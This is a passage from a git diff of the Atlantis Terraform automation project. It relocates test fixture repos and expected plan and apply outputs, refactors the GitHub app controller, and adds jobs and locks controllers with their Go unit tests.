+null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "staging" +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-autoplan.txt new file mode 100644 index 0000000000..75c4320f96 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-autoplan.txt @@ -0,0 +1,90 @@ +Ran Plan for 2 projects: + +1. project: `default` dir: `.` workspace: `default` +1. project: `staging` dir: `.` workspace: `default` +--- + +### 1. project: `default` dir: `.` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "default" ++ workspace = "default" + +workspace=default +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -p default + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p default + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. project: `staging` dir: `.` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "staging" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -p staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-merge.txt new file mode 100644 index 0000000000..70df2f2518 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml/main.tf b/server/controllers/events/testdata/test-repos/tfvars-yaml/main.tf new file mode 100644 index 0000000000..4acc30b31e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml/main.tf @@ -0,0 +1,19 @@ +terraform { + backend "local" { + } +} + +resource "null_resource" "simple" { + count = 1 +} + +variable "var" { +} + +output "var" { + value = var.var +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/testfixtures/test-repos/tfvars-yaml/staging.backend.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml/staging.backend.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml/staging.backend.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml/staging.backend.tfvars diff --git a/server/testfixtures/test-repos/tfvars-yaml/staging.tfvars b/server/controllers/events/testdata/test-repos/tfvars-yaml/staging.tfvars similarity index 100% rename from server/testfixtures/test-repos/tfvars-yaml/staging.tfvars rename to server/controllers/events/testdata/test-repos/tfvars-yaml/staging.tfvars diff --git a/server/controllers/events/testdata/test-repos/tfvars-yaml/versions.tf b/server/controllers/events/testdata/test-repos/tfvars-yaml/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/tfvars-yaml/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/atlantis.yaml b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/atlantis.yaml similarity index 100% rename from server/testfixtures/test-repos/workspace-parallel-yaml/atlantis.yaml rename to server/controllers/events/testdata/test-repos/workspace-parallel-yaml/atlantis.yaml diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt new file mode 100644 index 0000000000..c479409c65 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt @@ -0,0 +1,10 @@ +```diff +null_resource.this: Creating... +null_resource.this: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "production" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt new file mode 100644 index 0000000000..605e400554 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt @@ -0,0 +1,9 @@ +```diff +null_resource.this: Creating... +null_resource.this: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "staging" diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt new file mode 100644 index 0000000000..986241f599 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt @@ -0,0 +1,86 @@ +Ran Plan for 2 projects: + +1. dir: `production` workspace: `production` +1. dir: `staging` workspace: `staging` +--- + +### 1. dir: `production` workspace: `production` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "production" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d production -w production + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d production -w production + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `staging` workspace: `staging` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d staging -w staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d staging -w staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt new file mode 100644 index 0000000000..986241f599 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt @@ -0,0 +1,86 @@ +Ran Plan for 2 projects: + +1. dir: `production` workspace: `production` +1. dir: `staging` workspace: `staging` +--- + +### 1. dir: `production` workspace: `production` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "production" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d production -w production + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d production -w production + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `staging` workspace: `staging` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.this will be created ++ resource "null_resource" "this" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d staging -w staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d staging -w staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/workspace-parallel-yaml/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/main.tf b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/main.tf new file mode 100644 index 0000000000..62f1e77964 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/main.tf @@ -0,0 +1,5 @@ +resource "null_resource" "this" { +} +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/versions.tf b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/main.tf b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/main.tf new file mode 100644 index 0000000000..62f1e77964 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/main.tf @@ -0,0 +1,5 @@ +resource "null_resource" "this" { +} +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/versions.tf b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/github_app_controller.go b/server/controllers/github_app_controller.go similarity index 79% rename from server/github_app_controller.go rename to server/controllers/github_app_controller.go index cd8b64e661..e30147672c 100644 --- a/server/github_app_controller.go +++ b/server/controllers/github_app_controller.go @@ -1,4 +1,4 @@ -package server +package controllers import ( "encoding/json" @@ -6,16 +6,17 @@ import ( "net/http" "net/url" + "github.com/runatlantis/atlantis/server/controllers/web_templates" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" ) // GithubAppController handles the creation and setup of a new GitHub app type GithubAppController struct { - AtlantisURL *url.URL - Logger *logging.SimpleLogger + AtlantisURL *url.URL `validate:"required"` + Logger logging.SimpleLogging `validate:"required"` GithubSetupComplete bool - GithubHostname string + GithubHostname string `validate:"required"` GithubOrg string } @@ -54,13 +55,15 @@ func (g *GithubAppController) ExchangeCode(w http.ResponseWriter, r *http.Reques g.Logger.Debug("Exchanging GitHub app code for app credentials") creds := &vcs.GithubAnonymousCredentials{} - client, err := vcs.NewGithubClient(g.GithubHostname, creds, g.Logger) + config := vcs.GithubConfig{} + // This client does not post comments, so we don't need to configure it with maxCommentsPerCommand. + client, err := vcs.NewGithubClient(g.GithubHostname, creds, config, 0, g.Logger) if err != nil { g.respond(w, logging.Error, http.StatusInternalServerError, "Failed to exchange code for github app: %s", err) return } - app, err := client.ExchangeCode(code) + app, err := client.ExchangeCode(g.Logger, code) if err != nil { g.respond(w, logging.Error, http.StatusInternalServerError, "Failed to exchange code for github app: %s", err) return @@ -68,13 +71,14 @@ func (g *GithubAppController) ExchangeCode(w http.ResponseWriter, r *http.Reques g.Logger.Debug("Found credentials for GitHub app %q with id %d", app.Name, app.ID) - err = githubAppSetupTemplate.Execute(w, GithubSetupData{ - Target: "", - Manifest: "", - ID: app.ID, - Key: app.Key, - WebhookSecret: app.WebhookSecret, - URL: app.URL, + err = web_templates.GithubAppSetupTemplate.Execute(w, web_templates.GithubSetupData{ + Target: "", + Manifest: "", + ID: app.ID, + Key: app.Key, + WebhookSecret: app.WebhookSecret, + URL: app.URL, + CleanedBasePath: g.AtlantisURL.Path, }) if err != nil { g.Logger.Err(err.Error()) @@ -82,7 +86,7 @@ func (g *GithubAppController) ExchangeCode(w http.ResponseWriter, r *http.Reques } // New redirects the user to create a new GitHub app -func (g *GithubAppController) New(w http.ResponseWriter, r *http.Request) { +func (g *GithubAppController) New(w http.ResponseWriter, _ *http.Request) { if g.GithubSetupComplete { g.respond(w, logging.Error, http.StatusBadRequest, "Atlantis already has GitHub credentials") @@ -117,6 +121,9 @@ func (g *GithubAppController) New(w http.ResponseWriter, r *http.Request) { "pull_requests": "write", "repository_hooks": "write", "statuses": "write", + "administration": "read", + "members": "read", + "actions": "read", }, } @@ -137,7 +144,7 @@ func (g *GithubAppController) New(w http.ResponseWriter, r *http.Request) { return } - err = githubAppSetupTemplate.Execute(w, GithubSetupData{ + err = web_templates.GithubAppSetupTemplate.Execute(w, web_templates.GithubSetupData{ Target: url.String(), Manifest: string(jsonManifest), }) diff --git a/server/controllers/jobs_controller.go b/server/controllers/jobs_controller.go new file mode 100644 index 0000000000..100fbd0735 --- /dev/null +++ b/server/controllers/jobs_controller.go @@ -0,0 +1,95 @@ +package controllers + +import ( + "fmt" + "net/http" + "net/url" + + "github.com/gorilla/mux" + "github.com/runatlantis/atlantis/server/controllers/web_templates" + "github.com/runatlantis/atlantis/server/controllers/websocket" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + tally "github.com/uber-go/tally/v4" +) + +type JobIDKeyGenerator struct{} + +func (g JobIDKeyGenerator) Generate(r *http.Request) (string, error) { + jobID, ok := mux.Vars(r)["job-id"] + if !ok { + return "", fmt.Errorf("internal error: no job-id in route") + } + + return jobID, nil +} + +type JobsController struct { + AtlantisVersion string `validate:"required"` + AtlantisURL *url.URL `validate:"required"` + Logger logging.SimpleLogging `validate:"required"` + ProjectJobsTemplate web_templates.TemplateWriter `validate:"required"` + ProjectJobsErrorTemplate web_templates.TemplateWriter `validate:"required"` + Backend locking.Backend `validate:"required"` + WsMux *websocket.Multiplexor `validate:"required"` + KeyGenerator JobIDKeyGenerator + StatsScope tally.Scope `validate:"required"` +} + +func (j *JobsController) getProjectJobs(w http.ResponseWriter, r *http.Request) error { + jobID, err := j.KeyGenerator.Generate(r) + + if err != nil { + j.respond(w, logging.Error, http.StatusBadRequest, "%s", err.Error()) + return err + } + + viewData := web_templates.ProjectJobData{ + AtlantisVersion: j.AtlantisVersion, + ProjectPath: jobID, + CleanedBasePath: j.AtlantisURL.Path, + } + + return j.ProjectJobsTemplate.Execute(w, viewData) +} + +func (j *JobsController) GetProjectJobs(w http.ResponseWriter, r *http.Request) { + errorCounter := j.StatsScope.SubScope("getprojectjobs").Counter(metrics.ExecutionErrorMetric) + err := j.getProjectJobs(w, r) + if err != nil { + j.Logger.Err(err.Error()) + errorCounter.Inc(1) + } +} + +func (j *JobsController) getProjectJobsWS(w http.ResponseWriter, r *http.Request) error { + err := j.WsMux.Handle(w, r) + + if err != nil { + j.respond(w, logging.Error, http.StatusInternalServerError, "%s", err.Error()) + return err + } + + return nil +} + +func (j *JobsController) GetProjectJobsWS(w http.ResponseWriter, r *http.Request) { + jobsMetric := j.StatsScope.SubScope("getprojectjobs") + errorCounter := jobsMetric.Counter(metrics.ExecutionErrorMetric) + executionTime := jobsMetric.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + err := j.getProjectJobsWS(w, r) + + if err != nil { + errorCounter.Inc(1) + } +} + +func (j *JobsController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...interface{}) { + response := fmt.Sprintf(format, args...) + j.Logger.Log(lvl, response) + w.WriteHeader(responseCode) + fmt.Fprintln(w, response) +} diff --git a/server/controllers/locks_controller.go b/server/controllers/locks_controller.go new file mode 100644 index 0000000000..b8415720d0 --- /dev/null +++ b/server/controllers/locks_controller.go @@ -0,0 +1,152 @@ +package controllers + +import ( + "fmt" + "net/http" + "net/url" + + "github.com/runatlantis/atlantis/server/controllers/web_templates" + + "github.com/gorilla/mux" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/logging" +) + +// LocksController handles all requests relating to Atlantis locks. +type LocksController struct { + AtlantisVersion string `validate:"required"` + AtlantisURL *url.URL `validate:"required"` + Locker locking.Locker `validate:"required"` + Logger logging.SimpleLogging `validate:"required"` + ApplyLocker locking.ApplyLocker `validate:"required"` + VCSClient vcs.Client `validate:"required"` + LockDetailTemplate web_templates.TemplateWriter `validate:"required"` + WorkingDir events.WorkingDir `validate:"required"` + WorkingDirLocker events.WorkingDirLocker `validate:"required"` + Backend locking.Backend `validate:"required"` + DeleteLockCommand events.DeleteLockCommand `validate:"required"` +} + +// LockApply handles creating a global apply lock. +// If Lock already exists it will be a no-op +func (l *LocksController) LockApply(w http.ResponseWriter, _ *http.Request) { + lock, err := l.ApplyLocker.LockApply() + if err != nil { + l.respond(w, logging.Error, http.StatusInternalServerError, "creating apply lock failed with: %s", err) + return + } + + l.respond(w, logging.Info, http.StatusOK, "Apply Lock is acquired on %s", lock.Time.Format("2006-01-02 15:04:05")) +} + +// UnlockApply handles releasing a global apply lock. +// If Lock doesn't exists it will be a no-op +func (l *LocksController) UnlockApply(w http.ResponseWriter, _ *http.Request) { + err := l.ApplyLocker.UnlockApply() + if err != nil { + l.respond(w, logging.Error, http.StatusInternalServerError, "deleting apply lock failed with: %s", err) + return + } + + l.respond(w, logging.Info, http.StatusOK, "Deleted apply lock") +} + +// GetLock is the GET /locks/{id} route. It renders the lock detail view. +func (l *LocksController) GetLock(w http.ResponseWriter, r *http.Request) { + id, ok := mux.Vars(r)["id"] + if !ok { + l.respond(w, logging.Warn, http.StatusBadRequest, "No lock id in request") + return + } + + idUnencoded, err := url.QueryUnescape(id) + if err != nil { + l.respond(w, logging.Warn, http.StatusBadRequest, "Invalid lock id: %s", err) + return + } + lock, err := l.Locker.GetLock(idUnencoded) + if err != nil { + l.respond(w, logging.Error, http.StatusInternalServerError, "Failed getting lock: %s", err) + return + } + if lock == nil { + l.respond(w, logging.Info, http.StatusNotFound, "No lock found at id '%s'", idUnencoded) + return + } + + owner, repo := models.SplitRepoFullName(lock.Project.RepoFullName) + viewData := web_templates.LockDetailData{ + LockKeyEncoded: id, + LockKey: idUnencoded, + PullRequestLink: lock.Pull.URL, + LockedBy: lock.Pull.Author, + Workspace: lock.Workspace, + AtlantisVersion: l.AtlantisVersion, + CleanedBasePath: l.AtlantisURL.Path, + RepoOwner: owner, + RepoName: repo, + } + + err = l.LockDetailTemplate.Execute(w, viewData) + if err != nil { + l.Logger.Err(err.Error()) + } +} + +// DeleteLock handles deleting the lock at id and commenting back on the +// pull request that the lock has been deleted. +func (l *LocksController) DeleteLock(w http.ResponseWriter, r *http.Request) { + id, ok := mux.Vars(r)["id"] + if !ok || id == "" { + l.respond(w, logging.Warn, http.StatusBadRequest, "No lock id in request") + return + } + + idUnencoded, err := url.PathUnescape(id) + if err != nil { + l.respond(w, logging.Warn, http.StatusBadRequest, "Invalid lock id '%s'. Failed with error: '%s'", id, err) + return + } + + lock, err := l.DeleteLockCommand.DeleteLock(l.Logger, idUnencoded) + if err != nil { + l.respond(w, logging.Error, http.StatusInternalServerError, "deleting lock failed with: '%s'", err) + return + } + + if lock == nil { + l.respond(w, logging.Info, http.StatusNotFound, "No lock found at id '%s'", idUnencoded) + return + } + + // NOTE: Because BaseRepo was added to the PullRequest model later, previous + // installations of Atlantis will have locks in their DB that do not have + // this field on PullRequest. We skip commenting in this case. + if lock.Pull.BaseRepo != (models.Repo{}) { + if err := l.Backend.UpdateProjectStatus(lock.Pull, lock.Workspace, lock.Project.Path, models.DiscardedPlanStatus); err != nil { + l.Logger.Err("unable to update project status: %s", err) + } + + // Once the lock has been deleted, comment back on the pull request. + comment := fmt.Sprintf("**Warning**: The plan for dir: `%s` workspace: `%s` was **discarded** via the Atlantis UI.\n\n"+ + "To `apply` this plan you must run `plan` again.", lock.Project.Path, lock.Workspace) + if err = l.VCSClient.CreateComment(l.Logger, lock.Pull.BaseRepo, lock.Pull.Num, comment, ""); err != nil { + l.Logger.Warn("failed commenting on pull request: %s", err) + } + } else { + l.Logger.Debug("skipping commenting on pull request and deleting workspace because BaseRepo field is empty") + } + l.respond(w, logging.Info, http.StatusOK, "Deleted lock id '%s'", id) +} + +// respond is a helper function to respond and log the response. lvl is the log +// level to log at, code is the HTTP response code. +func (l *LocksController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...interface{}) { + response := fmt.Sprintf(format, args...) + l.Logger.Log(lvl, response) + w.WriteHeader(responseCode) + fmt.Fprintln(w, response) +} diff --git a/server/controllers/locks_controller_test.go b/server/controllers/locks_controller_test.go new file mode 100644 index 0000000000..d878b34e33 --- /dev/null +++ b/server/controllers/locks_controller_test.go @@ -0,0 +1,407 @@ +package controllers_test + +import ( + "bytes" + "errors" + "fmt" + "net/http" + "net/http/httptest" + "net/url" + "testing" + "time" + + "github.com/runatlantis/atlantis/server/controllers" + "github.com/runatlantis/atlantis/server/controllers/web_templates" + tMocks "github.com/runatlantis/atlantis/server/controllers/web_templates/mocks" + "github.com/runatlantis/atlantis/server/core/db" + "github.com/runatlantis/atlantis/server/core/locking" + + "github.com/gorilla/mux" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/events" + + "github.com/runatlantis/atlantis/server/core/locking/mocks" + "github.com/runatlantis/atlantis/server/events/command" + mocks2 "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/runatlantis/atlantis/server/events/models" + vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestCreateApplyLock(t *testing.T) { + t.Run("Creates apply lock", func(t *testing.T) { + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + + layout := "2006-01-02T15:04:05.000Z" + strLockTime := "2020-09-01T00:45:26.371Z" + expLockTime := "2020-09-01 00:45:26" + lockTime, _ := time.Parse(layout, strLockTime) + + l := mocks.NewMockApplyLocker() + When(l.LockApply()).ThenReturn(locking.ApplyCommandLock{ + Locked: true, + Time: lockTime, + }, nil) + + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + ApplyLocker: l, + } + lc.LockApply(w, req) + + ResponseContains(t, w, http.StatusOK, fmt.Sprintf("Apply Lock is acquired on %s", expLockTime)) + }) + + t.Run("Apply lock creation fails", func(t *testing.T) { + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + + l := mocks.NewMockApplyLocker() + When(l.LockApply()).ThenReturn(locking.ApplyCommandLock{ + Locked: false, + }, errors.New("failed to acquire lock")) + + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + ApplyLocker: l, + } + lc.LockApply(w, req) + + ResponseContains(t, w, http.StatusInternalServerError, "creating apply lock failed with: failed to acquire lock") + }) +} + +func TestUnlockApply(t *testing.T) { + t.Run("Apply lock deleted successfully", func(t *testing.T) { + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + + l := mocks.NewMockApplyLocker() + When(l.UnlockApply()).ThenReturn(nil) + + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + ApplyLocker: l, + } + lc.UnlockApply(w, req) + + ResponseContains(t, w, http.StatusOK, "Deleted apply lock") + }) + + t.Run("Apply lock deletion failed", func(t *testing.T) { + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + + l := mocks.NewMockApplyLocker() + When(l.UnlockApply()).ThenReturn(errors.New("failed to delete lock")) + + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + ApplyLocker: l, + } + lc.UnlockApply(w, req) + + ResponseContains(t, w, http.StatusInternalServerError, "deleting apply lock failed with: failed to delete lock") + }) +} + +func TestGetLockRoute_NoLockID(t *testing.T) { + t.Log("If there is no lock ID in the request then we should get a 400") + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + } + lc.GetLock(w, req) + ResponseContains(t, w, http.StatusBadRequest, "No lock id in request") +} + +func TestGetLock_InvalidLockID(t *testing.T) { + t.Log("If the lock ID is invalid then we should get a 400") + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "%A@"}) + w := httptest.NewRecorder() + lc.GetLock(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Invalid lock id") +} + +func TestGetLock_LockerErr(t *testing.T) { + t.Log("If there is an error retrieving the lock, a 500 is returned") + RegisterMockTestingT(t) + l := mocks.NewMockLocker() + When(l.GetLock("id")).ThenReturn(nil, errors.New("err")) + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + Locker: l, + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.GetLock(w, req) + ResponseContains(t, w, http.StatusInternalServerError, "err") +} + +func TestGetLock_None(t *testing.T) { + t.Log("If there is no lock at that ID we get a 404") + RegisterMockTestingT(t) + l := mocks.NewMockLocker() + When(l.GetLock("id")).ThenReturn(nil, nil) + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + Locker: l, + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.GetLock(w, req) + ResponseContains(t, w, http.StatusNotFound, "No lock found at id 'id'") +} + +func TestGetLock_Success(t *testing.T) { + t.Log("Should be able to render a lock successfully") + RegisterMockTestingT(t) + l := mocks.NewMockLocker() + When(l.GetLock("id")).ThenReturn(&models.ProjectLock{ + Project: models.Project{RepoFullName: "owner/repo", Path: "path"}, + Pull: models.PullRequest{URL: "url", Author: "lkysow"}, + Workspace: "workspace", + }, nil) + tmpl := tMocks.NewMockTemplateWriter() + atlantisURL, err := url.Parse("https://example.com/basepath") + Ok(t, err) + lc := controllers.LocksController{ + Logger: logging.NewNoopLogger(t), + Locker: l, + LockDetailTemplate: tmpl, + AtlantisVersion: "1300135", + AtlantisURL: atlantisURL, + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.GetLock(w, req) + tmpl.VerifyWasCalledOnce().Execute(w, web_templates.LockDetailData{ + LockKeyEncoded: "id", + LockKey: "id", + RepoOwner: "owner", + RepoName: "repo", + PullRequestLink: "url", + LockedBy: "lkysow", + Workspace: "workspace", + AtlantisVersion: "1300135", + CleanedBasePath: "/basepath", + }) + ResponseContains(t, w, http.StatusOK, "") +} + +func TestDeleteLock_NoLockID(t *testing.T) { + t.Log("If there is no lock ID in the request then we should get a 400") + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + lc := controllers.LocksController{Logger: logging.NewNoopLogger(t)} + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusBadRequest, "No lock id in request") +} + +func TestDeleteLock_InvalidLockID(t *testing.T) { + t.Log("If the lock ID is invalid then we should get a 400") + lc := controllers.LocksController{Logger: logging.NewNoopLogger(t)} + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "%A@"}) + w := httptest.NewRecorder() + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Invalid lock id '%A@'") +} + +func TestDeleteLock_LockerErr(t 